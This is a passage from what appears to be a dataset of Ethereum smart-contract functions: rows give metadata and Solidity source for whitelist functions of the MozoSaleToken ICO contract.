*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
4603,
4694
]
} | 16,996 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | MozoSaleToken | contract MozoSaleToken is BasicToken, Timeline, ChainCoOwner, ICO {
using SafeMath for uint;
//sale token name, use in ICO phase only
string public constant name = "Mozo Sale Token";
//sale token symbol, use in ICO phase only
string public constant symbol = "SMZO";
//token symbol
... | /**
* @title Mozo sale token for ICO
* @author Biglabs Pte. Ltd.
*/ | NatSpecMultiLine | addAddressToWhitelist | function addAddressToWhitelist(address _address) onlyOwnerOrCoOwner public returns (bool success) {
if (!whitelist[_address]) {
whitelist[_address] = true;
//transfer pending amount of tokens to user
uint noOfTokens = pendingAmounts[_address];
if (noOfTokens > 0) {
... | /**
* @dev add an address to the whitelist, sender must have enough tokens
* @param _address address for adding to whitelist
* @return true if the address was added to the whitelist, false if the address was already in the whitelist
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
4962,
5451
]
} | 16,997 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | MozoSaleToken | contract MozoSaleToken is BasicToken, Timeline, ChainCoOwner, ICO {
using SafeMath for uint;
//sale token name, use in ICO phase only
string public constant name = "Mozo Sale Token";
//sale token symbol, use in ICO phase only
string public constant symbol = "SMZO";
//token symbol
... | /**
* @title Mozo sale token for ICO
* @author Biglabs Pte. Ltd.
*/ | NatSpecMultiLine | addAddressesToWhitelist | function addAddressesToWhitelist(address[] _addresses) onlyOwnerOrCoOwner public returns (bool success) {
uint length = _addresses.length;
for (uint i = 0; i < length; i++) {
if (addAddressToWhitelist(_addresses[i])) {
success = true;
}
}
}
| /**
* @dev add addresses to the whitelist, sender must have enough tokens
* @param _addresses addresses for adding to whitelist
* @return true if at least one address was added to the whitelist,
* false if all addresses were already in the whitelist
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
5745,
6065
]
} | 16,998 | |
MozoSaleToken | MozoSaleToken.sol | 0x902d03103a59d9e855d2508bc7dc51bbe1fa5053 | Solidity | MozoSaleToken | contract MozoSaleToken is BasicToken, Timeline, ChainCoOwner, ICO {
using SafeMath for uint;
//sale token name, use in ICO phase only
string public constant name = "Mozo Sale Token";
//sale token symbol, use in ICO phase only
string public constant symbol = "SMZO";
//token symbol
... | /**
* @title Mozo sale token for ICO
* @author Biglabs Pte. Ltd.
*/ | NatSpecMultiLine | removeAddressFromWhitelist | function removeAddressFromWhitelist(address _address) onlyOwnerOrCoOwner public returns (bool success) {
if (whitelist[_address]) {
whitelist[_address] = false;
success = true;
}
}
| /**
* @dev remove an address from the whitelist
* @param _address address
* @return true if the address was removed from the whitelist,
* false if the address wasn't in the whitelist in the first place
*/ | NatSpecMultiLine | v0.4.23+commit.124ca40d | bzzr://2adf467a4795fdaf42bae5f76c8d6410441a024d82d07fd1f08ae4baaca2aa3e | {
"func_code_index": [
6310,
6544
]
} | 16,999 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.